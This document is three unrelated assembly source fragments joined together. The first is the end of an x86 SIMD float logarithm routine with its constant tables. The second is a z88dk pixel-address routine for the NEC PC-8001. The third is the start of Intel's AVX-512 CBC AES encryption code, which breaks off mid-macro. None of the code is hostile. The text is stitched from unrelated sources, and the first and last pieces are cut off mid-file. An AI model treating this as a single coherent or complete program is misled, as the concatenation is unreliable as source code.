xmm1,xmm1,xmm1 ; u = u+u vmulps xmm2,xmm1,xmm1 ; v = u^2 ; r2 = (u * v * (ca_1 + v * ca_2) - correction) vmulps xmm3,xmm1,xmm2 ; u^3 vmovaps xmm5,DWORD PTR L__real_ca2 ; xmm5 = ca_2 ;vfmaddps xmm2 ,xmm5,xmm2, ; ca1 + ca2 * v ;vfmsubps xmm2 ,xmm2,xmm3,xmm10 ; r2 = (ca1 + ca2 * v) * u^3 - correction vfmadd213ps xmm2, xmm5,DWORD PTR L__real_ca1 vfmsub213ps xmm2 , xmm3, xmm10 ; r + r2 vaddps xmm0,xmm0,xmm2 ; return (r + r2) ; till here I have ; xmm0 = DWORD PTR L__near_one results ; xmm9 = away from 1.0 results ; Masks ;xmm4 stores the mask for nearone values ;xmm12 stores the mask for 0.0 ;xmm6 = Mask for Nan Infs e's and negatives ;xmm7 = result of Nan Infs e's and negatives vmovaps xmm5,DWORD PTR L__real_ninf ;vmovaps xmm14,DWORD PTR L__real_inf ;vpcmov xmm0 ,xmm0,xmm9,xmm4 ; xmm0 stores nearone and away from one results ;vpcmov xmm0 ,xmm7,xmm0,xmm6 ;vpcmov xmm0 ,xmm5,xmm0,xmm12 VANDNPD xmm14 , xmm4, xmm9 VANDPD xmm0 , xmm0, xmm4 VORPD xmm0 , xmm0, xmm14 VANDNPD xmm14 , xmm6, xmm0 VANDPD xmm0 , xmm7, xmm6 VORPD xmm0 , xmm0, xmm14 VANDNPD xmm14 , xmm12, xmm0 VANDPD xmm0 , xmm5, xmm12 VORPD xmm0 , xmm0, xmm14 RestoreAllXMMRegs StackDeallocate stack_size ret fname endp TEXT ENDS data SEGMENT READ CONST SEGMENT ALIGN 16 L__real_one DQ 03f8000003f800000h ; 1.0 DQ 03f8000003f800000h L__real_two DQ 04000000040000000h ; 1.0 DQ 04000000040000000h L__real_ninf DQ 0ff800000ff800000h ; -inf DQ 0ff800000ff800000h L__real_inf DQ 07f8000007f800000h ; +inf DQ 07f8000007f800000h L__real_nan DQ 07fc000007fc00000h ; NaN DQ 07fc000007fc00000h L__real_ef DQ 0402DF854402DF854h ; float e DQ 0402DF854402DF854h L__real_neg_qnan DQ 0ffc00000ffc00000h DQ 0ffc00000ffc00000h L__real_sign DQ 08000000080000000h ; sign bit DQ 08000000080000000h L__real_notsign DQ 07ffFFFFF7ffFFFFFh ; ^sign bit DQ 07ffFFFFF7ffFFFFFh L__real_qnanbit DQ 00040000000400000h ; quiet nan bit DQ 00040000000400000h L__real_mant DQ 0007FFFFF007FFFFFh ; mantissa bits DQ 0007FFFFF007FFFFFh L__mask_127 DQ 00000007f0000007fh ; DQ 00000007f0000007fh L__mask_neg_127 DQ 0FFFFFF81FFFFFF81h ; DQ 0FFFFFF81FFFFFF81h L__mask_mant_all7 DQ 0007f0000007f0000h DQ 0007f0000007f0000h L__mask_mant8 DQ 00000800000008000h DQ 00000800000008000h L__real_ca1 DQ 03DAAAAAB3DAAAAABh ; 8.33333333333317923934e-02 DQ 03DAAAAAB3DAAAAABh L__real_ca2 DQ 03C4CCCCD3C4CCCCDh ; 1.25000000037717509602e-02 DQ 03C4CCCCD3C4CCCCDh L__real_log2_lead DQ 03F3170003F317000h ; 0.693115234375 DQ 03F3170003F317000h L__real_log2_tail DQ 03805FDF43805FDF4h ; 0.000031946183 DQ 03805FDF43805FDF4h L__real_half DQ 03f0000003f000000h ; 1/2 DQ 03f0000003f000000h ALIGN 16 L__mask_253 DQ 0000000fd000000fdh DQ 0000000fd000000fdh L__real_threshold DQ 03d8000003d800000h DQ 03d8000003d800000h L__real_1_over_3 DQ 03eaaaaab3eaaaaabh DQ 03eaaaaab3eaaaaabh L__real_1_over_2 DQ 03f0000003f000000h DQ 03f0000003f000000h ALIGN 16 L__log_128_lead_tail DD 000000000h ;lead DD 000000000h ;tail DD 03bff0000h ;lead DD 03429ac41h ;tail DD 03c7e0000h ;. DD 035a8b0fch ;and so on DD 03cbdc000h DD 0368d83eah DD 03cfc1000h DD 0361b0e78h DD 03d1cf000h DD 03687b9feh DD 03d3ba000h DD 03631ec65h DD 03d5a1000h DD 036dd7119h DD 03d785000h DD 035c30045h DD 03d8b2000h DD 0379b7751h DD 03d9a0000h DD 037ebcb0dh DD 03da8d000h DD 037839f83h DD 03db78000h DD 037528ae5h DD 03dc61000h DD 037a2eb18h DD 03dd49000h DD 036da7495h DD 03de2f000h DD 036a91eb7h DD 03df13000h DD 03783b715h DD 03dff6000h DD 0371131dbh DD 03e06b000h DD 0383f3e68h DD 03e0db000h DD 038156a97h DD 03e14a000h DD 038297c0fh DD 03e1b8000h DD 0387e100fh DD 03e226000h DD 03815b665h DD 03e293000h DD 037e5e3a1h DD 03e2ff000h DD 038183853h DD 03e36b000h DD 035fe719dh DD 03e3d5000h DD 038448108h DD 03e43f000h DD 038503290h DD 03e4a9000h DD 0373539e8h DD 03e511000h DD 0385e0ff1h DD 03e579000h DD 03864a740h DD 03e5e1000h DD 03786742dh DD 03e647000h DD 0387be3cdh DD 03e6ae000h DD 03685ad3eh DD 03e713000h DD 03803b715h DD 03e778000h DD 037adcbdch DD 03e7dc000h DD 0380c36afh DD 03e820000h DD 0371652d3h DD 03e851000h DD 038927139h DD 03e882000h DD 038c5fcd7h DD 03e8b3000h DD 038ae55d5h DD 03e8e4000h DD 03818c169h DD 03e914000h DD 038a0fde7h DD 03e944000h DD 038ad09efh DD 03e974000h DD 03862bae1h DD 03e9a3000h DD 038eecd4ch DD 03e9d3000h DD 03798aad2h DD 03ea02000h DD 037421a1ah DD 03ea30000h DD 038c5e10eh DD 03ea5f000h DD 037bf2aeeh DD 03ea8d000h DD 0382d872dh DD 03eabb000h DD 037ee2e8ah DD 03eae8000h DD 038dedfach DD 03eb16000h DD 03802f2b9h DD 03eb43000h DD 038481e9bh DD 03eb70000h DD 0380eaa2bh DD 03eb9c000h DD 038ebfb5dh DD 03ebc9000h DD 038255fddh DD 03ebf5000h DD 038783b82h DD 03ec21000h DD 03851da1eh DD 03ec4d000h DD 0374e1b05h DD 03ec78000h DD 0388f439bh DD 03eca3000h DD 038ca0e10h DD 03ecce000h DD 038cac08bh DD 03ecf9000h DD 03891f65fh DD 03ed24000h DD 0378121cbh DD 03ed4e000h DD 0386c9a9ah DD 03ed78000h DD 038949923h DD 03eda2000h DD 038777bcch DD 03edcc000h DD 037b12d26h DD 03edf5000h DD 038a6ced3h DD 03ee1e000h DD 038ebd3e6h DD 03ee47000h DD 038fbe3cdh DD 03ee70000h DD 038d785c2h DD 03ee99000h DD 0387e7e00h DD 03eec1000h DD 038f392c5h DD 03eeea000h DD 037d40983h DD 03ef12000h DD 038081a7ch DD 03ef3a000h DD 03784c3adh DD 03ef61000h DD 038cce923h DD 03ef89000h DD 0380f5fafh DD 03efb0000h DD 03891fd38h DD 03efd7000h DD 038ac47bch DD 03effe000h DD 03897042bh DD 03f012000h DD 0392952d2h DD 03f025000h DD 0396fced4h DD 03f039000h DD 037f97073h DD 03f04c000h DD 0385e9eaeh DD 03f05f000h DD 03865c84ah DD 03f072000h DD 038130ba3h DD 03f084000h DD 03979cf16h DD 03f097000h DD 03938cac9h DD 03f0aa000h DD 038c3d2f4h DD 03f0bc000h DD 039755dech DD 03f0cf000h DD 038e6b467h DD 03f0e1000h DD 0395c0fb8h DD 03f0f4000h DD 0383ebce0h DD 03f106000h DD 038dcd192h DD 03f118000h DD 039186bdfh DD 03f12a000h DD 0392de74ch DD 03f13c000h DD 0392f0944h DD 03f14e000h DD 0391bff61h DD 03f160000h DD 038e9ed44h DD 03f172000h DD 038686dc8h DD 03f183000h DD 0396b99a7h DD 03f195000h DD 039099c89h DD 03f1a7000h DD 037a27673h DD 03f1b8000h DD 0390bdaa3h DD 03f1c9000h DD 0397069abh DD 03f1db000h DD 0388449ffh DD 03f1ec000h DD 039013538h DD 03f1fd000h DD 0392dc268h DD 03f20e000h DD 03947f423h DD 03f21f000h DD 0394ff17ch DD 03f230000h DD 03945e10eh DD 03f241000h DD 03929e8f5h DD 03f252000h DD 038f85db0h DD 03f263000h DD 038735f99h DD 03f273000h DD 0396c08dbh DD 03f284000h DD 03909e600h DD 03f295000h DD 037b4996fh DD 03f2a5000h DD 0391233cch DD 03f2b5000h DD 0397cead9h DD 03f2c6000h DD 038adb5cdh DD 03f2d6000h DD 03920261ah DD 03f2e6000h DD 03958ee36h DD 03f2f7000h DD 035aa4905h DD 03f307000h DD 037cbd11eh DD 03f317000h DD 03805fdf4h ALIGN 16 L__log_F_inv DD 040000000h DD 03ffe03f8h DD 03ffc0fc1h DD 03ffa232dh DD 03ff83e10h DD 03ff6603eh DD 03ff4898dh DD 03ff2b9d6h DD 03ff0f0f1h DD 03fef2eb7h DD 03fed7304h DD 03febbdb3h DD 03fea0ea1h DD 03fe865ach DD 03fe6c2b4h DD 03fe52598h DD 03fe38e39h DD 03fe1fc78h DD 03fe07038h DD 03fdee95ch DD 03fdd67c9h DD 03fdbeb62h DD 03fda740eh DD 03fd901b2h DD 03fd79436h DD 03fd62b81h DD 03fd4c77bh DD 03fd3680dh DD 03fd20d21h DD 03fd0b6a0h DD 03fcf6475h DD 03fce168ah DD 03fcccccdh DD 03fcb8728h DD 03fca4588h DD 03fc907dah DD 03fc7ce0ch DD 03fc6980ch DD 03fc565c8h DD 03fc43730h DD 03fc30c31h DD 03fc1e4bch DD 03fc0c0c1h DD 03fbfa030h DD 03fbe82fah DD 03fbd6910h DD 03fbc5264h DD 03fbb3ee7h DD 03fba2e8ch DD 03fb92144h DD 03fb81703h DD 03fb70fbbh DD 03fb60b61h DD 03fb509e7h DD 03fb40b41h DD 03fb30f63h DD 03fb21643h DD 03fb11fd4h DD 03fb02c0bh DD 03faf3adeh DD 03fae4c41h DD 03fad602bh DD 03fac7692h DD 03fab8f6ah DD 03faaaaabh DD 03fa9c84ah DD 03fa8e83fh DD 03fa80a81h DD 03fa72f05h DD 03fa655c4h DD 03fa57eb5h DD 03fa4a9cfh DD 03fa3d70ah DD 03fa3065eh DD 03fa237c3h DD 03fa16b31h DD 03fa0a0a1h DD 03f9fd80ah DD 03f9f1166h DD 03f9e4cadh DD 03f9d89d9h DD 03f9cc8e1h DD 03f9c09c1h DD 03f9b4c70h DD 03f9a90e8h DD 03f99d723h DD 03f991f1ah DD 03f9868c8h DD 03f97b426h DD 03f97012eh DD 03f964fdah DD 03f95a025h DD 03f94f209h DD 03f944581h DD 03f939a86h DD 03f92f114h DD 03f924925h DD 03f91a2b4h DD 03f90fdbch DD 03f905a38h DD 03f8fb824h DD 03f8f177ah DD 03f8e7835h DD 03f8dda52h DD 03f8d3dcbh DD 03f8ca29ch DD 03f8c08c1h DD 03f8b7034h DD 03f8ad8f3h DD 03f8a42f8h DD 03f89ae41h DD 03f891ac7h DD 03f888889h DD 03f87f781h DD 03f8767abh DD 03f86d905h DD 03f864b8ah DD 03f85bf37h DD 03f853408h DD 03f84a9fah DD 03f842108h DD 03f839930h DD 03f83126fh DD 03f828cc0h DD 03f820821h DD 03f81848eh DD 03f810204h DD 03f808081h DD 03f800000h CONST ENDS data ENDS END
; NEC PC8001 graphics library, by @Stosstruppe ; Adapted to z88dk by Stefano Bodrato, 2018 SECTION code_clib PUBLIC pcalc EXTERN base_graphics ; ; $Id: pcalc.asm $ ; ; ****************************************************************** ; ; Get absolute pixel address in map of virtual (x,y) coordinate. ; ; Design & programming by Gunther Strube, Copyright (C) InterLogic 1995 ; ; ****************************************************************** ; ; ; .pcalc ; point calc ; in : b=y c=x ; out: hl=addr a=bits push bc ld b,l ; y ld c,h ; x ld a, b ; de = y & $fc and $fc ld e, a ld d, 0 ld h, d ; hl = de * 30 ld l, e add hl, hl add hl, de add hl, hl add hl, de add hl, hl add hl, de add hl, hl ; %11110 = 30? ld e, c ; hl += x / 2 srl e add hl, de ld de, $f3c8 ; TVRAM, text video memory add hl, de push hl ld a, c and $01 add a, a add a, a ld e, a ld a, b and $03 or e ld e, a ld d, 0 ld hl, PCALC_DATA add hl, de ld a, (hl) pop hl ;ld d,h ;ld e,l pop bc ;and @00000111 ;xor @00000111 ret SECTION rodata_clib PCALC_DATA: defb $01,$02,$04,$08,$10,$20,$40,$80
;; ;; Copyright (c) 2019-2021, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; ;;; routines to do 128/192/256 bit CBC AES encrypt %include "include/os.asm" %include "include/mb_mgr_datastruct.asm" %include "include/reg_sizes.asm" %include "include/clear_regs.asm" %include "include/cet.inc" struc STACK _gpr_save: resq 4 endstruc %define GPR_SAVE_AREA rsp + _gpr_save %ifdef LINUX %define arg1 rdi %define arg2 rsi %define arg3 rcx %define arg4 rdx %else %define arg1 rcx %define arg2 rdx %define arg3 rdi %define arg4 rsi %endif %define ARG arg1 %define LEN arg2 %define IA0 rax %define IA1 rbx %define IA2 arg3 %define IN arg4 %define OUT rbp %define IN_L0 r8 %define IN_L1 r9 %define IN_L2 r10 %define IN_L3 r11 %define IN_L8 r12 %define IN_L9 r13 %define IN_L10 r14 %define IN_L11 r15 %define ZIV00_03 zmm8 %define ZIV04_07 zmm9 %define ZIV08_11 zmm10 %define ZIV12_15 zmm11 %define ZT0 zmm16 %define ZT1 zmm17 %define ZT2 zmm18 %define ZT3 zmm19 %define ZT4 zmm20 %define ZT5 zmm21 %define ZT6 zmm22 %define ZT7 zmm23 %define ZT8 zmm24 %define ZT9 zmm25 %define ZT10 zmm26 %define ZT11 zmm27 %define ZT12 zmm28 %define ZT13 zmm29 %define ZT14 zmm30 %define ZT15 zmm31 %define ZT16 zmm12 %define ZT17 zmm13 %define ZT18 zmm14 %define ZT19 zmm15 %define TAB_A0B0A1B1 zmm6 %define TAB_A2B2A3B3 zmm7 %define R0_K0_3 zmm0 %define R0_K4_7 zmm1 %define R0_K8_11 zmm2 %define R2_K0_3 zmm3 %define R2_K4_7 zmm4 %define R2_K8_11 zmm5 %define MAC_TYPE_NONE 0 %define MAC_TYPE_CBC 1 %define MAC_TYPE_XCBC 2 ;; Save registers states %macro FUNC_SAVE 0 sub rsp, STACK_size mov [GPR_SAVE_AREA + 8*0], rbp %ifndef LINUX mov [GPR_SAVE_AREA + 8*1], rsi mov [GPR_SAVE_AREA + 8*2], rdi %endif mov [GPR_SAVE_AREA + 8*3], r15 %endmacro ;; Restore register states %macro FUNC_RESTORE 0 ;; XMMs are saved at a higher level mov rbp, [GPR_SAVE_AREA + 8*0] %ifndef LINUX mov rsi, [GPR_SAVE_AREA + 8*1] mov rdi, [GPR_SAVE_AREA + 8*2] %endif mov r15, [GPR_SAVE_AREA + 8*3] add rsp, STACK_size vzeroupper %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Transpose macro - executes 4x4 transpose of 4 ZMM registers ; in: L0B0-3 out: B0L0-3 ; L1B0-3 B1L0-3 ; L2B0-3 B2L0-3 ; L3B0-3 B3L0-3 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %macro TRANSPOSE_4x4 8 %define %%IN_OUT_0 %1 %define %%IN_OUT_1 %2 %define %%IN_OUT_2 %3 %define %%IN_OUT_3 %4 %define %%ZTMP_0 %5 %define %%ZTMP_1 %6 %define %%ZTMP_2 %7 %define %%ZTMP_3 %8 vmovdqa64 %%ZTMP_0, TAB_A0B0A1B1 vmovdqa64 %%ZTMP_1, %%ZTMP_0 vmovdqa64 %%ZTMP_2, TAB_A2B2A3B3 vmovdqa64 %%ZTMP_3, %%ZTMP_2 vpermi2q %%ZTMP_0, %%IN_OUT_0, %%IN_OUT_1 vpermi2q %%ZTMP_1, %%IN_OUT_2, %%IN_OUT_3 vpermi2q %%ZTMP_2, %%IN_OUT_0, %%IN_OUT_1 vpermi2q %%ZTMP_3, %%IN_OUT_2, %%IN_OUT_3 vshufi64x2 %%IN_OUT_0, %%ZTMP_0, %%ZTMP_1, 0x44 vshufi64x2 %%IN_OUT_2, %%ZTMP_2, %%ZTMP_3, 0x44 vshufi64x2 %%IN_OUT_1, %%ZTMP_0, %%ZTMP_1, 0xee vshufi64x2 %%IN_OUT_3, %%ZTMP_2, %%ZTMP_3, 0xee %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; LOAD_STORE - loads/stores 1-4 blocks (16 bytes) for 4 lanes into ZMM registers ; - Loads 4 blocks by default ; - Pass %%MASK_REG argument to load/store 1-3 blocks (optional) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %macro LOAD_STORE_x4 13-14 %define %%LANE_A %1 ; [in] lane index to load/store (numerical) %define %%LANE_B %2 ; [in] lane index to load/store (numerical) %define %%LANE_C %3 ; [in] lane index to load/store (numerical) %define %%LANE_D %4 ; [in] lane index to load/store (numerical) %define %%DATA_PTR %5 ; [in] GP reg with ptr to lane input table %define %%OFFSET %6 ; [in] GP reg input/output buffer offset %define %%ZDATA0 %7 ; [in/out] ZMM reg to load/store data %define %%ZDATA1 %8 ; [in/out] ZMM reg to load/store data %define %%ZDATA2 %9 ; [in/out] ZMM reg to load/store data %define %%ZDATA3 %10 ; [in/out] ZMM reg to load/store data %define %%GP0 %11 ; [clobbered] tmp GP reg %define %%GP1 %12 ; [clobbered] tmp GP reg %define %%LOAD_STORE %13 ; [in] string value to select LOAD or STORE %define %%MASK_REG %14 ; [in] mask reg used for load/store mask %define %%NUM_ARGS %0 mov %%GP0, [%%DATA_PTR + 8*(%%LANE_A)] mov %%GP1, [%%DATA_PTR + 8*(%%LANE_B)] %if %%NUM_ARGS <= 13 ;; %%MASK_REG not set, assume 4 block load/store %ifidn %%LOAD_STORE, LOAD vmovdqu8 %%ZDATA0, [%%GP0 + %%OFFSET] vmovdqu8 %%ZDATA1, [%%GP1 + %%OFFSET] mov %%GP0, [%%DATA_PTR + 8*(%%LANE_C)] mov %%GP1, [%%DATA_PTR + 8*(%%LANE_D)] vmovdqu8 %%ZDATA2, [%%GP0 + %%OFFSET] vmovdqu8 %%ZDATA3, [%%GP1 + %%OFFSET] %else ; STORE vmovdqu8 [%%GP0 + %%OFFSET], %%ZDATA0 vmovdqu8 [%%GP1 + %%OFFSET], %%ZDATA1 mov %%GP0, [%%DATA_PTR + 8*(%%LANE_C)] mov %%GP1, [%%DATA_PTR + 8*(%%LANE_D)] vmovdqu8 [%%GP0 + %%OFFSET], %%ZDATA2 vmovdqu8 [%%GP1 + %%OFFSET], %%ZDATA3 %endif %else ;; %%MASK_REG argument passed - 1, 2, or 3 block load/store %ifidn %%LOAD_STORE, LOAD vmovdqu8 %%ZDATA0{%%MASK_REG}{z}, [%%GP0 + %%OFFSET] vmovdqu8 %%ZDATA1{%%MASK_REG}{z}, [%%GP1 + %%OFFSET] mov %%GP0, [%%DATA_PTR + 8*(%%LANE_C)] mov %%GP1, [%%DATA_PTR + 8*(%%LANE_D)] vmovdqu8 %%ZDATA2{%%MASK_REG}{z}, [%%GP0 + %%OFFSET] vmovdqu8 %%ZDATA3{%%MASK_REG}{z}, [%%GP1 + %%OFFSET] %else ; STORE vmovdqu8 [%%GP0 + %%OFFSET]{%%MASK_REG}, %%ZDATA0 vmovdqu8 [%%GP1 + %%OFFSET]{%%MASK_REG}, %%ZDATA1 mov %%GP0, [%%DATA_PTR + 8*(%%LANE_C)] mov %%GP1, [%%DATA_PTR + 8*(%%LANE_D)] vmovdqu8 [%%GP0 + %%OFFSET]{%%MASK_REG}, %%ZDATA2 vmovdqu8 [%%GP1 + %%OFFSET]{%%MASK_REG}, %%ZDATA3 %endif %endif ;; %%NUM_ARGS %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; PRELOADED_LOAD_STORE - loads/stores 1-4 blocks for 4 lanes into ZMM registers ; - Input pointers are already loaded into GP registers ; - Loads 4 blocks by default ; - Pass %%MASK_REG argument to load/store 1-3 blocks (optional) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %macro PRELOADED_LOAD_STORE_x4 10-11 %define %%IN0 %1 ; [in] GP reg with lane input pointer %define %%IN1 %2 ; [in] GP reg with lane input pointer %define %%IN2 %3 ; [in] GP reg with lane input pointer %define %%IN3 %4 ; [in] GP reg with lane input pointer %define %%OFFSET %5 ; [in] GP reg input/output buffer offset %define %%ZDATA0 %6 ; [in/out] ZMM reg to load/store data %define %%ZDATA1 %7 ; [in/out] ZMM reg to load/store data %define %%ZDATA2 %8 ; [in/out] ZMM reg to load/store data %define %%ZDATA3 %9 ; [in/out] ZMM reg to load/store data %define %%LOAD_STORE %10 ; [in] string value to select LOAD or STORE %define %%MASK_REG %11 ; [in] mask reg used for load/store mask %define %%NUM_ARGS %0 %if %%NUM_ARGS <= 10 ;; %%MASK_REG not set, assume 4 block load/store %ifidn %%LOAD_STORE, LOAD vmovdqu8 %%ZDATA0, [%%IN0 + %%OFFSET] vmovdqu8 %%ZDATA1, [%%IN1 + %%OFFSET] vmovdqu8 %%ZDATA2, [%%IN2 + %%OFFSET] vmovdqu8 %%ZDATA3, [%%IN3 + %%OFFSET] %else ; STORE vmovdqu8 [%%IN0 + %%OFFSET], %%ZDATA0 vmovdqu8 [%%IN1 + %%OFFSET], %%ZDATA1 vmovdqu8 [%%IN2 + %%OFFSET], %%ZDATA2 vmovdqu8 [%%IN3 + %%OFFSET], %%ZDATA3 %endif %else ;; %%MASK_REG argument passed - 1, 2, or 3 block load/store %ifidn %%LOAD_STORE, LOAD vmovdqu8 %%ZDATA0{%%MASK_REG}{z}, [%%IN0 + %%OFFSET] vmovdqu8 %%ZDATA1{%%MASK_REG}{z}, [%%IN1 + %%OFFSET] vmovdqu8 %%ZDATA2{%%MASK_REG}{z}, [%%IN2 + %%OFFSET] vmovdqu8 %%ZDATA3{%%MASK_REG}{z}, [%%IN3 + %%OFFSET] %else ; STORE vmovdqu8 [%%IN0 + %%OFFSET]{%%MASK_REG}, %%ZDATA0 vmovdqu8 [%%IN1 + %%OFFSET]{%%MASK_REG}, %%ZDATA1 vmovdqu8 [%%IN2 + %%OFFSET]{%%MASK_REG}, %%ZDATA2 vmovdqu8 [%%IN3 + %%OFFSET]{%%MASK_REG}, %%ZDATA3 %endif %endif ;; %%NUM_ARGS %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; AESENC_ROUNDS_x16 macro ; - 16 lanes, 1 block per lane ; - performs AES encrypt rounds 1-NROUNDS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %macro AESENC_ROUNDS_x16 6 %define %%L00_03 %1 ; [in/out] ZMM with lane 0-3 blocks %define %%L04_07 %2 ; [in/out] ZMM with lane 4-7 blocks %define %%L08_11 %3 ; [in/out] ZMM with lane 8-11 blocks %define %%L12_15 %4 ; [in/out] ZMM with lane 12-15 blocks %define %%KP %5 ; [in] key table pointer %define %%NROUNDS %6 ; [in] number of aes rounds %define %%K00_03_OFFSET 0 %define %%K04_07_OFFSET 64 %define %%K08_11_OFFSET 128 %define %%K12_15_OFFSET 192 %assign ROUND 1 %rep (%%NROUNDS + 1) %if ROUND <= %%NROUNDS %if ROUND == 2 ;; round 2 keys preloaded for some lanes vaesenc %%L00_03, %%L00_03, R2_K0_3 vaesenc %%L04_07, %%L04_07, R2_K4_7 vaesenc %%L08_11, %%L08_11, R2_K8_11 vaesenc %%L12_15, %%L12_15, [%%KP + %%K12_15_OFFSET + ROUND * (16*16)] %else ;; rounds 1 to 9/11/13 vaesenc %%L00_03, %%L00_03, [%%KP + %%K00_03_OFFSET + ROUND * (16*16)] vaesenc %%L04_07, %%L04_07, [%%KP + %%K04_07_OFFSET + ROUND * (16*16)] vaesenc %%L08_11, %%L08_11, [%%KP + %%K08_11_OFFSET + ROUND * (16*16)] vaesenc %%L12_15, %%L12_15, [%%KP + %%K12_15_OFFSET + ROUND * (16*16)] %endif %else ;; the last round vaesenclast %%L00_03, %%L00_03, [%%KP + %%K00_03_OFFSET + ROUND * (16*16)] vaesenclast %%L04_07, %%L04_07, [%%KP + %%K04_07_OFFSET + ROUND * (16*16)] vaesenclast %%L08_11, %%L08_11, [%%KP + %%K08_11_OFFSET + ROUND * (16*16)] vaesenclast %%L12_15, %%L12_15, [%%KP + %%K12_15_OFFSET + ROUND * (16*16)] %endif %assign ROUND (ROUND + 1) %endrep %endmacro ; AESENC_ROUNDS_x16 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ENCRYPT_16_PARALLEL - Encode all blocks up to multiple of 4 ; - Operation ; - loop encrypting %%LENGTH bytes of input data ; - each loop encrypts 4 blocks across 16 lanes ; - stop when %%LENGTH is less than 64 bytes (4 blocks) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %macro ENCRYPT_16_PARALLEL 30 %define %%ZIV00_03 %1 ;; [in] lane 0-3 IVs %define %%ZIV04_07 %2 ;; [in] lane 4-7 IVs %define %%ZIV08_11 %3 ;; [in] lane 8-11 IVs %define %%ZIV12_15 %4 ;; [in] lane 12-15 IVs %define %%LENGTH %5 ;; [in/out] GP register with length in bytes %define %%NROUNDS %6 ;; [in] Number of AES rounds; numerical value %define %%IDX %7 ;; [clobbered] GP reg to maintain idx %define %%B0L00_03 %8 ;; [clobbered] tmp ZMM register %define %%B0L04_07 %9 ;; [clobbered] tmp ZMM register %define %%B0L08_11 %10 ;; [clobbered] tmp ZMM register %define %%B0L12_15 %11 ;; [clobbered] tmp ZMM register %define %%B1L00_03 %12 ;; [clobbered] tmp ZMM register %define %%B1L04_07 %13 ;; [clobbered] tmp ZMM register %define %%B1L08_11 %14 ;; [clobbered] tmp ZMM register %define %%B1L12_15 %15 ;; [clobbered] tmp ZMM register %define %%B2L00_03 %16 ;; [clobbered] tmp ZMM register %define %%B2L04_07 %17 ;; [clobbered] tmp ZMM register %define %%B2L08_11 %18 ;; [clobbered] tmp ZMM register %define %%B2L12_15 %19 ;; [clobbered] tmp ZMM register %define %%B3L00_03 %20 ;; [clobbered] tmp ZMM register %define %%B3L04_07 %21 ;; [clobbered] tmp ZMM register %define %%B3L08_11 %22 ;; [clobbered] tmp ZMM register %define %%B3L12_15 %23 ;; [clobbered] tmp ZMM register %define %%ZTMP0 %24 ;; [clobbered] tmp ZMM register %define %%ZTMP1 %25 ;; [clobbered] tmp ZMM register %define %%ZTMP2 %26 ;; [clobbered] tmp ZMM register %define %%ZTMP3 %27 ;; [clobbered] tmp ZMM register %define %%TMP0 %28 ;; [clobbered] tmp GP register %define %%TMP1 %29 ;; [clobbered] tmp GP register %define %%MAC_TYPE %30 ;; MAC_TYPE_NONE/CBC/XCBC flag %if %%MAC_TYPE == MAC_TYPE_XCBC %define %%KP ARG + _aes_xcbc_args_key_tab %else %define %%KP ARG + _aesarg_key_tab %endif %define %%K00_03_OFFSET 0 %define %%K04_07_OFFSET 64 %define %%K08_11_OFFSET 128 %define %%K12_15_OFFSET 192 ;; check for at least 4 blocks cmp %%LENGTH, 64 jl %%encrypt_16_done xor %%IDX, %%IDX ;; skip length check on first loop jmp %%encrypt_16_first %%encrypt_16_start: cmp %%LENGTH, 64 jl %%encrypt_16_end %%encrypt_16_first: ;; load 4 plaintext blocks for lanes 0-3 PRELOADED_LOAD_STORE_x4 IN_L0, IN_L1, IN_L2, IN_L3, %%IDX, \ %%B0L00_03, %%B1L00_03, %%B2L00_03, \ %%B3L00_03, LOAD TRANSPOSE_4x4 %%B0L00_03, %%B1L00_03, %%B2L00_03, %%B3L00_03, \ 